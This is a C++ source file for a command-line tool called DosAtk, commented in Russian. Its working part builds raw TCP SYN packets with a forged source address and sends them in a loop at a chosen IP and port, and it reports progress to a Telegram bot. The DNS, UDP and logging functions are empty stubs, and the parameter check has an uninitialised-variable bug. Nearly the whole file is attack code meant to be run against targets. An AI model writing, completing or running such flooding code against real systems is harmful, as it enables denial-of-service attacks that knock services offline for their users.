dos/src/DosAtk.cpp

646 lines
31 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#include <iostream> // Для работы с вводом-выводом (cout, cin и др.)
#include <stdlib.h> // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.)
#include <string> // Для работы со строками string
#include <chrono> // Для работы с временем и таймерами
#include <ctime> // Функции работы со временем C (time_t, localtime и др.)
#include <iomanip> // Для форматированного вывода (setw, setprecision и др.)
#include <getopt.h> // Для разбора аргументов командной строки
#include <cctype> // Функции для работы с символами (isdigit, isalpha и др.)
#include <curl/curl.h> // Библиотека libcurl для HTTP-запросов (отправка в Telegram)
#include <cstring> // Работа со строками и памятью (memset, memcpy)
#include <unistd.h> // POSIX API (close, read, write)
#include <sys/socket.h> // Сокеты (socket, setsockopt, sendto)
#include <netinet/ip.h> // Структура IP-заголовка (struct iphdr)
#include <netinet/tcp.h> // Структура TCP-заголовка (struct tcphdr)
#include <arpa/inet.h> // Преобразование IP-адресов (inet_addr, inet_pton)
#include <net/if.h> // Определение констант сетевых интерфейсов (IFNAMSIZ)
#include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
#include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
// Глобальные переменные
std::string attack_type; // Тип атаки: scan или syn
std::string domain; // Доменное Имя
std::string ip; // Ip жертвы
std::string port; // Порт
std::string log_file; // Путь к директории для логов
std::string telegram_id; // Telegram ID для уведомлений
std::string telegram_token; // Токен бота
int n_ok_requests; // Количество успешных запросов
int n_fail_requests; // Количество не успешных запросов
std::chrono::system_clock::time_point start_timestamp; // Начальное время работы
std::string log_msg; // Сообщение, которое будет записано в лог-файл
std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю
std::string msg; // Сообщение, которое будет отправлено в телеграм
int status; // Статус работы программы
// ====== end of DCL ====== //
int my_check_params(int argc, char **argv)
{
// Данная процедура записывает в глобальные переменные параметры
// (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
// На вход получает int argc, char **argv, возвращает код выполнения
// Коды возврата:
// 2 - Атака флуд, все нужные опции есть
// 1 - Атака порт скан, все нужные опции есть
// 0 - нужна помощь
// -1 - пользователь не ввел тип атаки или ввел неверный тип атаки
// -10 - Пользователь выбрал тип атаки порт сканнинг, но не ввел нужные параметры
// -20 - Пользователь выбрал тип атаки флуд, но не ввел нужные параметры
// -101 - неизвестная опция или потерян аргумент, следует предложить вызвать флаг помощи
// -600 - пользователь ввел токен, но не id или наоборот
int status;
int opt;
const char* short_options;
short_options = "a:d:i:p:l:t:b:h";
const struct option long_options[] =
{
{"attack", required_argument, NULL, 'a'},
{"domain", required_argument, NULL, 'd'},
{"ip", required_argument, NULL, 'i'},
{"port", required_argument, NULL, 'p'},
{"log", required_argument, NULL, 'l'},
{"telegram", required_argument, NULL, 't'},
{"token", required_argument, NULL, 'b'},
{"help", no_argument, NULL, 'h'},
{NULL, 0, NULL, 0}
};
std::string debug_msg;
debug_msg = "";
for (int i = 0; i < argc; i++) {
debug_msg += argv[i];
debug_msg += " ";
}
printf("begin my_check_params (argc: %i, argv: %s)\n", argc, debug_msg.c_str()); // debug
// Обрабатываем аргументы командной строки с помощью getopt_long
// Цикл продолжается, пока getopt_long возвращает валидные опции (-1 означает конец опций)
while ((opt = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) {
switch (opt) {
case 'a': // Обработка опции -a (--attack)
attack_type = optarg; // Сохраняем тип атаки (scan/flood)
break;
case 'd': // Обработка опции -d (--domain)
domain = optarg; // Сохраняем доменное имя цели
break;
case 'i': // Обработка опции -i (--ip)
ip = optarg; // Сохраняем IP-адрес цели
break;
case 'p': // Обработка опции -p (--port)
port = optarg; // Сохраняем номер порта
break;
case 'l': // Обработка опции -l (--log)
log_file = optarg; // Сохраняем путь к лог-файлу
break;
case 't': // Обработка опции -t (--telegram)
telegram_id = optarg; // Сохраняем Telegram ID
break;
case 'b': // Обработка опции -b (--token)
telegram_token = optarg; // Сохраняем токен бота Telegram
break;
case 'h': // Обработка опции -h (--help)
status = 0; // Устанавливаем статус "показать справку"
break;
case '?': // Обработка неизвестной опции
status = -101; // Устанавливаем статус "неизвестная опция"
break;
}
}
// Проверяем корректность введенных параметров
if (status != 0 && status != -101)
{
// Проверяем валидность типа атаки
if (attack_type != "flood" && attack_type != "scan") {
status = -1; // Некорректный тип атаки
}
// Для сканирования портов должна быть указана цель (домен или IP)
else if (attack_type == "scan" && domain.empty() && ip.empty()) {
status = -10; // Не указана цель для сканирования
}
// Для флуд-атаки должна быть указана цель (домен или IP)
else if (attack_type == "flood" && domain.empty() && ip.empty()) {
status = -20; // Не указана цель для флуда
}
// Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба
else if ((!telegram_id.empty() && telegram_token.empty()) ||
(telegram_id.empty() && !telegram_token.empty())) {
status = -600; // Неполные данные для Telegram
}
// Если все проверки пройдены и тип атаки - сканирование
else if (attack_type == "scan") {
status = 1; // Валидные параметры для сканирования
}
// Если все проверки пройдены и тип атаки - флуд
else if (attack_type == "flood") {
status = 2; // Валидные параметры для флуда
}
}
printf("end my_check_params status: %i\n", status); // debug
return status;
}
void my_diag()
{
// Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода,
// формирует сообщение с описанием произошедшей ошибки
// Отладочный вывод - начало работы функции (можно отключить в релизной версии)
printf("begin my_diag, status: %i\n", status); // debug
// Выбор сообщения в зависимости от кода ошибки
switch (status)
{
case 0: // Специальный случай - вывод справки по использованию
printf("Usage: ./DosAtk [options]\n"
"Required:\n"
" -a, --attack TYPE Type of attack (scan|flood)\n"
" -d, --domain DOMAIN Target domain\n"
" -i, --ip IP Target IP\n"
" -p, --port PORT Port. Required only for flood type!\n"
"Optional:\n"
" -l, --log FILE Log file\n"
" -t, --telegram ID Telegram ID\n"
" -b, --token TOKEN Telegram bot token\n");
break;
case -1: // Некорректный тип атаки
printf("Error: Invalid attack type!\n--help for more info\n");
break;
case -10: // Отсутствуют обязательные параметры для сканирования портов
printf("Error: Missing required parameters for port scanning!\n--help for more info\n");
break;
case -20: // Отсутствуют обязательные параметры для SYN flood атаки
printf("Error: Missing required parameters for tcp syn dos attack!\n--help for more info\n");
break;
case -101: // Встречена неизвестная опция командной строки
printf("Error: Unknown option!\n.--help for info\n");
break;
case -600: // Неполные данные для Telegram-уведомлений
printf("Error: To use telegram integration both telegram_id and telegram_token have to be provided!\n.--help for info\n");
break;
}
// Отладочный вывод - завершение работы функции
printf("end my_diag\n"); // debug
}
// Функция для экранирования специальных символов в строке перед использованием в JSON
// Принимает: const std::string& s - исходная строка для обработки
// Возвращает: std::string - строка с экранированными спецсимволами
std::string escape_json(const std::string& s) {
std::string result; // Результирующая строка с экранированными символами
// Проходим по каждому символу входной строки
for (char c : s) {
// Обрабатываем специальные символы JSON
switch (c) {
case '"': result += "\\\""; break; // Экранирование двойных кавычек
case '\\': result += "\\\\"; break; // Экранирование обратного слеша
case '\b': result += "\\b"; break; // Экранирование backspace
case '\f': result += "\\f"; break; // Экранирование formfeed
case '\n': result += "\\n"; break; // Экранирование новой строки
case '\r': result += "\\r"; break; // Экранирование возврата каретки
case '\t': result += "\\t"; break; // Экранирование табуляции
default: result += c; break; // Все остальные символы добавляем как есть
}
}
return result; // Возвращаем обработанную строку
}
bool is_numeric(const std::string& s) {
// Проверка, является ли строка числом (включая отрицательные)
size_t start; // Индекс, с которого начинать проверку цифр
if (s.empty()) return false; // Пустая строка не может быть числом
// Проверяем наличие знака минус в начале
start = 0;
if (s[0] == '-') {
// Строка из одного минуса не является числом
if (s.size() == 1) return false;
// Если минус есть, начинаем проверку с следующего символа
start = 1;
}
// Проверяем все оставшиеся символы на цифры
for (size_t i = start; i < s.size(); ++i) {
// Найден нецифровой символ - строка не число
if (!isdigit(s[i])) return false;
}
// Все проверки пройдены - строка является числом
return true;
}
int my_msg() {
// Инициализация локальных переменных для работы с CURL
CURL* curl; // Указатель на CURL-объект
std::string escaped_msg; // Экранированное сообщение для JSON
std::cout << msg << std::endl; // Вывод сообщения в консоль (для отладки)
std::string chat_id_field; // Поле chat_id для JSON
std::string json_data; // Итоговый JSON для отправки
struct curl_slist* headers; // Заголовки HTTP-запроса
headers = nullptr; // Инициализация заголовков
long http_code; // HTTP-код ответа
CURLcode res; // Код результата CURL-операции
// Проверка наличия обязательных параметров Telegram
if (telegram_token.empty() || telegram_id.empty()) {
return 0; // Интеграция с Telegram не настроена (отсутствует токен или ID)
}
// Инициализация CURL
curl = curl_easy_init();
if (!curl) return 6; // Ошибка инициализации CURL
// Экранирование спецсимволов в сообщении для JSON
escaped_msg = escape_json(msg);
// Формирование поля chat_id в зависимости от типа ID (число или строка)
if (is_numeric(telegram_id)) {
chat_id_field = "\"chat_id\": " + telegram_id; // Числовой ID
} else {
chat_id_field = "\"chat_id\": \"" + telegram_id + "\""; // Строковый ID
}
// Сборка JSON-запроса
json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}";
// Установка заголовка Content-Type
headers = curl_slist_append(headers, "Content-Type: application/json");
// Настройка параметров CURL-запроса
curl_easy_setopt(curl, CURLOPT_URL, ("https://api.telegram.org/bot" + telegram_token + "/sendMessage").c_str()); // URL API Telegram
curl_easy_setopt(curl, CURLOPT_POST, 1L); // Использовать POST-метод
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_data.c_str()); // Тело запроса (JSON)
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); // Заголовки запроса
curl_easy_setopt(curl, CURLOPT_USERAGENT, "libcurl/7.68.0"); // User-Agent
// Игнорирование вывода ответа (пустая функция обратного вызова)
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, [](void*, size_t size, size_t nmemb, void*) -> size_t {
return size * nmemb;
});
// Выполнение HTTP-запроса
res = curl_easy_perform(curl);
// Получение HTTP-кода ответа
http_code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &http_code);
// Освобождение ресурсов
curl_slist_free_all(headers); // Очистка заголовков
curl_easy_cleanup(curl); // Завершение работы CURL
// Обработка ошибок CURL
if (res != CURLE_OK) return 5; // Ошибка выполнения запроса
// Обработка HTTP-кодов ответа
switch (http_code) {
case 200: return 0; // Успешный запрос
case 401: return 1; // Ошибка авторизации (неверный токен)
case 400: return 2; // Неверный запрос
case 404: return 3; // Ресурс не найден
default:
if (http_code >= 500) return 4; // Ошибка сервера
return 4; // Прочие ошибки
}
}
int my_log()
{
// Данная функция записывает в файл лога сообщение
return 0;
}
void my_fin()
{
// Данная функция завершает программу и рассчитывает итоговое время выполнения программы
// Фиксируем время окончания работы программы
auto end_timestamp = std::chrono::system_clock::now();
// Преобразуем время окончания в time_t и миллисекунды
auto end_time_t = std::chrono::system_clock::to_time_t(end_timestamp);
auto end_ms = std::chrono::duration_cast<std::chrono::milliseconds>(end_timestamp.time_since_epoch()) % 1000;
// Вычисляем продолжительность работы программы
auto duration = end_timestamp - start_timestamp;
// Разбиваем продолжительность на компоненты
auto hours = std::chrono::duration_cast<std::chrono::hours>(duration);
auto minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1));
auto seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1));
auto milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1));
// Выводим информацию о времени работы
std::cout << "Worked for ";
// Для коротких периодов (<2 минут) выводим в секундах с дробной частью
if (duration < std::chrono::minutes(2)) {
double total_seconds = std::chrono::duration<double>(duration).count();
std::cout << std::fixed << std::setprecision(3) << total_seconds << " seconds";
} else {
// Для длительных периодов выводим в формате ЧЧ:ММ:СС.мс
if (hours.count() > 0) std::cout << hours.count() << "h ";
if (minutes.count() > 0) std::cout << minutes.count() << "m ";
std::cout << seconds.count() << "s " << milliseconds.count() << "ms";
}
std::cout << std::endl;
// Выводим статистику по запросам
std::cout << "Sent " << (n_ok_requests + n_fail_requests) << " requests ("
<< n_ok_requests << " ok, " << n_fail_requests << " failed)" << std::endl;
// Выводим точное время завершения работы
std::cout << "DosAtk stopped at " << std::put_time(std::localtime(&end_time_t), "%Y-%m-%d %H:%M:%S")
<< "." << std::setfill('0') << std::setw(3) << end_ms.count() << std::endl;
// Завершаем программу с кодом 0 (успешное завершение)
std::exit(0);
}
int my_dns()
{
// Данная процедура сопостовляет доменное имя с IP
return 0;
}
void my_tcp_syn() {
/*
* Отправляет TCP SYN запрос на указанный IP и порт
* status:
* 0 - запрос успешно отправлен (атака продолжается)
* 2 - достигнуто максимальное количество запросов (1000)
* -201 - ошибка создания raw-сокета
* -202 - ошибка отправки SYN-пакета
*/
// === Объявление локальных переменных ===
int sock; // Основной raw-сокет для отправки пакетов
int one; // Флаг для setsockopt
// Структуры для адресов
struct sockaddr_in target_addr; // Адрес цели
// Параметры подключения
uint16_t target_port; // Порт цели (в сетевом порядке байт)
// Структуры заголовков
struct iphdr ip_header; // IP-заголовок пакета
struct tcphdr tcp_header; // TCP-заголовок пакета
char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет
// Псевдозаголовок для контрольной суммы
struct {
uint32_t saddr;
uint32_t daddr;
uint8_t zero;
uint8_t protocol;
uint16_t tcp_len;
} pseudo_header;
// Буферы данных
char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
uint16_t *checksum_ptr;
unsigned long checksum_sum;
uint8_t *checksum_byte_ptr;
int checksum_len;
// === Инициализация переменных ===
sock = -1;
one = 1;
target_port = htons(atoi(port.c_str()));
// === Основная логика процедуры ===
// 1. Создание raw-сокета
if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
status = -201;
return;
}
// 2. Установка опции IP_HDRINCL
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
// 3. Настройка адреса цели
memset(&target_addr, 0, sizeof(target_addr));
target_addr.sin_family = AF_INET;
inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr);
// 4. Формирование IP заголовка
memset(&ip_header, 0, sizeof(ip_header));
ip_header.ihl = 5;
ip_header.version = 4;
ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
ip_header.ttl = 64;
ip_header.protocol = IPPROTO_TCP;
ip_header.saddr = inet_addr("127.0.0.1");
ip_header.daddr = inet_addr(ip.c_str());
// 5. Формирование TCP заголовка
memset(&tcp_header, 0, sizeof(tcphdr));
tcp_header.source = htons(12345);
tcp_header.dest = target_port;
tcp_header.seq = htonl(123456);
tcp_header.doff = 5;
tcp_header.syn = 1;
tcp_header.window = htons(5840);
// 6. Расчет контрольной суммы
pseudo_header = {
.saddr = ip_header.saddr,
.daddr = ip_header.daddr,
.zero = 0,
.protocol = IPPROTO_TCP,
.tcp_len = htons(sizeof(tcphdr))
};
memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
// Расчет контрольной суммы
checksum_ptr = (uint16_t *)temp_buf;
checksum_sum = 0;
checksum_len = sizeof(temp_buf);
while (checksum_len > 1) {
checksum_sum += *checksum_ptr++;
checksum_len -= 2;
}
if (checksum_len == 1) {
checksum_byte_ptr = (uint8_t *)checksum_ptr;
checksum_sum += *checksum_byte_ptr;
}
checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
tcp_header.check = (unsigned short)(~checksum_sum);
// 7. Сборка пакета
memcpy(packet, &ip_header, sizeof(iphdr));
memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
// 8. Отправка пакета
if (sendto(sock, packet, sizeof(packet), 0,
(struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
n_fail_requests++;
status = -202;
} else {
n_ok_requests++;
status = 0;
}
// 9. Проверка завершения
if ((n_ok_requests + n_fail_requests) >= 1000) {
status = 2;
}
close(sock);
}
int my_udp()
{
// Данная процедура выполняет UDP Flood (port scanning) атаку
return 2;
}
int main(int argc, char **argv)
{
// Главная функция программы - точка входа
// Объявление переменных для хранения статусов операций
int log_status; // Статус записи в лог
int dns_status; // Статус DNS-разрешения
int udp_status; // Статус UDP-атаки
int tcp_syn_status; // Статус TCP SYN-атаки
// ====== Инициализация программы ====== //
n_ok_requests = 0; // Счетчик успешных запросов
n_fail_requests = 0; // Счетчик неудачных запросов
start_timestamp = std::chrono::system_clock::now(); // Засекаем время начала
status = 0; // Статус программы
// Получаем текущее время в различных форматах
time_t now_time_t = std::chrono::system_clock::to_time_t(start_timestamp);
std::chrono::milliseconds ms = std::chrono::duration_cast<std::chrono::milliseconds>(
start_timestamp.time_since_epoch()) % 1000;
// Выводим информацию о времени запуска программы
printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n",
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
std::localtime(&now_time_t)->tm_mon + 1, // Месяц (0-11)
std::localtime(&now_time_t)->tm_mday, // День месяца
std::localtime(&now_time_t)->tm_hour, // Часы
std::localtime(&now_time_t)->tm_min, // Минуты
std::localtime(&now_time_t)->tm_sec, // Секунды
ms.count()); // Миллисекунды
// ====== Основная логика программы ====== //
// 1. Проверяем параметры командной строки
status = my_check_params(argc, argv);
// Обрабатываем результат проверки параметров
switch (status)
{
case 1: // Режим сканирования портов (UDP)
// Пытаемся разрешить DNS (если указано доменное имя)
dns_status = my_dns();
if (dns_status == 0) // Если DNS разрешен успешно
{
// Запускаем цикл UDP-атаки
while (udp_status = my_udp())
{
if (udp_status == 2) // Код завершения атаки
{
break;
}
else if (udp_status < 0) // Обработка ошибок
{
status = udp_status;
my_diag(); // Выводим диагностику
log_status = my_log(); // Пытаемся записать в лог
if (log_status == 1) // Если требуется уведомление
{
my_msg(); // Отправляем сообщение
}
}
}
// Завершающие действия после атаки
log_status = my_log(); // Логируем завершение
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
else if (dns_status == 1) // Ошибка DNS-разрешения
{
my_diag(); // Выводим ошибку
log_status = my_log(); // Логируем ошибку
if (log_status == 0) { // Если не требуется уведомление
my_fin(); // Просто завершаем программу
}
else if (log_status == 1) // Если требуется уведомление
{
my_msg(); // Отправляем сообщение
my_fin(); // Завершаем программу
}
}
break;
case 2: // Режим SYN-флуда (TCP)
// Аналогичная логика как для UDP-режима
dns_status = my_dns();
printf("begin TCP SYN\n");
if (dns_status == 0)
{
while (true)
{
my_tcp_syn();
if (status == 2)
{
break;
}
else if (status < 0)
{
my_diag();
log_status = my_log();
if (log_status == 1)
{
my_msg();
}
}
}
log_status = my_log();
my_msg();
my_fin();
}
else if (dns_status == 1)
{
my_diag();
log_status = my_log();
if (log_status == 0)
{
my_fin();
}
else if (log_status == 1)
{
my_msg();
my_fin();
}
}
break;
default: // Некорректные параметры или запрос справки
my_diag(); // Выводим диагностику
log_status = my_log(); // Логируем событие
if (log_status == 0) // Без уведомления
{
my_fin(); // Завершаем программу
}
else if (log_status == 1) // С уведомлением
{
my_msg(); // Отправляем сообщение
my_fin(); // Завершаем программу
}
break;
}
return 0; // Возвращаем код успешного завершения
}